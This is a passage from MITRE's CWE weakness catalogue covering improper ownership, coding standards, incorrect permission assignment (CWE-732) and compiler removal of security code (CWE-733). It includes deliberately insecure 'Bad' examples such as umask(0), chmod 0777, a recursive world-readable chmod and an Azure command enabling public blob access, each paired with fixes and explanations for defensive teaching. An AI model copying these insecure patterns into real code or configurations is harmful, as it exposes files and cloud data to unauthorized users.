ChildOf		282	Improper Ownership Management	683
CanAlsoBe		345	Insufficient Verification of Data Authenticity	858

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		840	Business Logic Errors	2381

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data <i>An attacker could read and modify data for which they do not have permissions to access directly.</i>	

Potential Mitigations

Phase: Policy

Periodically review the privileges and their owners.

Phase: Testing

Use automated tools to check for privilege settings.

Observed Examples

Reference	Description
CVE-2007-5101	File system sets wrong ownership and group when creating a new file. https://www.cve.org/CVERecord?id=CVE-2007-5101
CVE-2007-4238	OS installs program with bin owner/group, allowing modification. https://www.cve.org/CVERecord?id=CVE-2007-4238
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation. https://www.cve.org/CVERecord?id=CVE-2007-1716
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid. https://www.cve.org/CVERecord?id=CVE-2005-3148
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself. https://www.cve.org/CVERecord?id=CVE-2005-1064
CVE-2011-1551	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations. https://www.cve.org/CVERecord?id=CVE-2011-1551

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2356
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	2414
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Maintenance

This overlaps verification errors, permissions, and privileges. A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-710: Improper Adherence to Coding Standards

Weakness ID : 710

Structure : Simple

Abstraction : Pillar

Description
















The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2596
ParentOf	B	476	NULL Pointer Dereference	1139
ParentOf	B	477	Use of Obsolete Function	1146
ParentOf	B	484	Omitted Break Statement in Switch	1169
ParentOf	B	489	Active Debug Code	1178
ParentOf	B	570	Expression is Always False	1300
ParentOf	B	571	Expression is Always True	1303
ParentOf	C	573	Improper Following of Specification by Caller	1307
ParentOf	C	657	Violation of Secure Design Principles	1454
ParentOf	C	684	Incorrect Provision of Specified Functionality	1514
ParentOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1591
ParentOf	B	1041	Use of Redundant Code	1884
ParentOf	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	1888
ParentOf	B	1048	Invokable Control Element with Large Number of Outward Calls	1892
ParentOf	C	1059	Insufficient Technical Documentation	1904

Nature	Type	ID	Name	Page
ParentOf		1061	Insufficient Encapsulation	1907
ParentOf		1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	1912
ParentOf		1066	Missing Serialization Control Element	1913
ParentOf		1068	Inconsistency Between Implementation and Documented Design	1915
ParentOf		1076	Insufficient Adherence to Expected Conventions	1925
ParentOf		1092	Use of Same Invokable Control Element in Multiple Architectural Layers	1941
ParentOf		1093	Excessively Complex Data Representation	1942
ParentOf		1101	Reliance on Runtime Component in Generated Code	1950
ParentOf		1120	Excessive Code Complexity	1969
ParentOf		1126	Declaration of Variable with Unnecessarily Wide Scope	1975
ParentOf		1127	Compilation with Insufficient Warnings or Errors	1976
ParentOf		1164	Irrelevant Code	1976
ParentOf		1177	Use of Prohibited Code	1981
ParentOf		1209	Failure to Disable Reserved Bits	2000
ParentOf		1357	Reliance on Insufficiently Trustworthy Component	2266

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

Document and closely follow coding standards.







Phase: Testing

Phase: Implementation

Where possible, use automated tools to enforce the standards.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		978	SFP Secondary Cluster: Implementation	888	2429
MemberOf		1370	ICS Supply Chain: Common Mode Frailties	1358	2528
MemberOf		1375	ICS Engineering (Construction/Deployment): Gaps in Details/Data	1358	2532
MemberOf		1383	ICS Operations (& Maintenance): Compliance/Conformance with Regulatory Requirements	1358	2538
MemberOf		1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID : 732**Structure** : Simple**Abstraction** : Class

Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.










Extended Description

When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.



Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1478
ChildOf		285	Improper Authorization	691
ParentOf		276	Incorrect Default Permissions	672
ParentOf		277	Insecure Inherited Permissions	675
ParentOf		278	Insecure Preserved Inherited Permissions	676
ParentOf		279	Incorrect Execution-Assigned Permissions	678
ParentOf		281	Improper Preservation of Permissions	681
ParentOf		766	Critical Data Element Declared Public	1615
ParentOf		1004	Sensitive Cookie Without 'HttpOnly' Flag	1863

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		276	Incorrect Default Permissions	672
ParentOf		281	Improper Preservation of Permissions	681

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Not Technology-Specific (*Prevalence = Undetermined*)

Technology : Cloud Computing (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Scope	Impact	Likelihood
Access Control	Read Files or Directories	
	<i>An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.</i>	
Integrity Other	Gain Privileges or Assume Identity	
	<i>An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.</i>	
Integrity Other	Modify Application Data	
	Other	
	<i>An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that

are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness = Moderate

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Implementation

Phase: Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness = High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness = High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Phase: Implementation

Phase: System Configuration

Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Demonstrative Examples

Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

Example Language: C

(Bad)

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Example Language:

(Result)

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

*Example Language: PHP**(Bad)*

```
function createUserDir($username){
    $path = '/home/'. $username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

*Example Language: Perl**(Bad)*

```
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

*Example Language:**(Result)*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

*Example Language:**(Result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4:

This program creates and reads from an admin file to determine privilege information.

If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.

Example Language: Go

(Bad)

```
const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {
    file, err := os.Create(adminFile)
    if err != nil {
        return err
    }
    return nil
}
func changeModeOfAdminFile() error {
    fileMode := os.FileMode(0440)
    if err := os.Chmod(adminFile, fileMode); err != nil {
        return err
    }
    return nil
}
```

os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.

In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.

This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.

Example 5:

The following command recursively sets world-readable permissions for a directory and all of its children:

Example Language: Shell

(Bad)

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Example 6:

The following Azure command updates the settings for a storage account:

Example Language: Shell

(Bad)

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

Example Language: Shell

(Good)

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

Example 7:

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

Example Language: Shell

(Informative)

```
gsutil iam get gs://BUCKET_NAME
```

Suppose the command returns the following result:

Example Language: JSON

(Bad)

```
{
  "bindings":[{"members":["projectEditor: PROJECT-ID",
    "projectOwner: PROJECT-ID"],
    "role":"roles/storage.legacyBucketOwner"},
  {
    "members":["allUsers",
      "projectViewer: PROJECT-ID"],
    "role":"roles/storage.legacyBucketReader"}
  ]
}
```

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

Example Language: Shell

(Good)

```
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
```





Observed Examples

Reference	Description
CVE-2022-29527	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition. https://www.cve.org/CVERecord?id=CVE-2022-29527
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses. https://www.cve.org/CVERecord?id=CVE-2009-3482
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication. https://www.cve.org/CVERecord?id=CVE-2009-3897
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM. https://www.cve.org/CVERecord?id=CVE-2009-3489
CVE-2020-15708	socket created with insecure permissions https://www.cve.org/CVERecord?id=CVE-2020-15708

Reference	Description
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions. https://www.cve.org/CVERecord?id=CVE-2009-3289
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands. https://www.cve.org/CVERecord?id=CVE-2009-0115
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file. https://www.cve.org/CVERecord?id=CVE-2009-1073
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users. https://www.cve.org/CVERecord?id=CVE-2009-0141
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials. https://www.cve.org/CVERecord?id=CVE-2008-0662
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions. https://www.cve.org/CVERecord?id=CVE-2008-0322
CVE-2009-3939	Driver installs a file with world-writable permissions. https://www.cve.org/CVERecord?id=CVE-2009-3939
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups. https://www.cve.org/CVERecord?id=CVE-2009-3611
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution. https://www.cve.org/CVERecord?id=CVE-2007-6033
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session. https://www.cve.org/CVERecord?id=CVE-2007-5544
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials. https://www.cve.org/CVERecord?id=CVE-2005-4868
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files. https://www.cve.org/CVERecord?id=CVE-2004-1714
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity. https://www.cve.org/CVERecord?id=CVE-2001-0006
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions. https://www.cve.org/CVERecord?id=CVE-2002-0969

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2368
MemberOf		753	2009 Top 25 - Porous Defenses	750	2374
MemberOf		803	2010 Top 25 - Porous Defenses	800	2376

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2379
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2389
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2390
MemberOf	C	860	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)	844	2391
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2393
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2398
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2415
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2471
MemberOf	C	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	2473
MemberOf	C	1150	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)	1133	2473
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO03-J		Create files with appropriate access permission
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011)	ENV03-J		Do not grant dangerous combinations of permissions
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
17	Using Malicious Files
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
122	Privilege Abuse
127	Directory Indexing
180	Exploiting Incorrectly Configured Access Control Security Levels
206	Signing Malicious Code
234	Hijacking a privileged process
642	Replace Binaries

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-207]John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. 2002. Addison-Wesley.

[REF-594]Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". 2010 March 4. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response> >.

[REF-199]NIST. "United States Government Configuration Baseline (USGCB)". < <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline> >.2023-03-28.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails >.2024-11-17.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

[REF-1327]Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". 2022 March 1. < https://www.cisecurity.org/benchmark/google_cloud_computing_platform >.2023-04-24.

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID : 733

Structure : Simple

Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1881
ParentOf		14	Compiler Removal of Code to Clear Buffers	14

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2348

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Compiled (Prevalence = Undetermined)

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples

Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

Example Language: C

(Bad)

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the

advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.



Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows. https://www.cve.org/CVERecord?id=CVE-2008-1685
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). https://www.cve.org/CVERecord?id=CVE-2019-1010006

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		976	SFP Secondary Cluster: Compiler	888	2428
MemberOf		1398	Comprehensive Categorization: Component Interaction	1400	2545

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
24	Filter Failure through Buffer Overflow
46	Overflow Variables and Tags

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

CWE-749: Exposed Dangerous Method or Function

Weakness ID : 749

Structure : Simple

Abstraction : Base

Description

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

- The function/method was never intended to be exposed to outside actors.
- The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	[P]	284	Improper Access Control	687
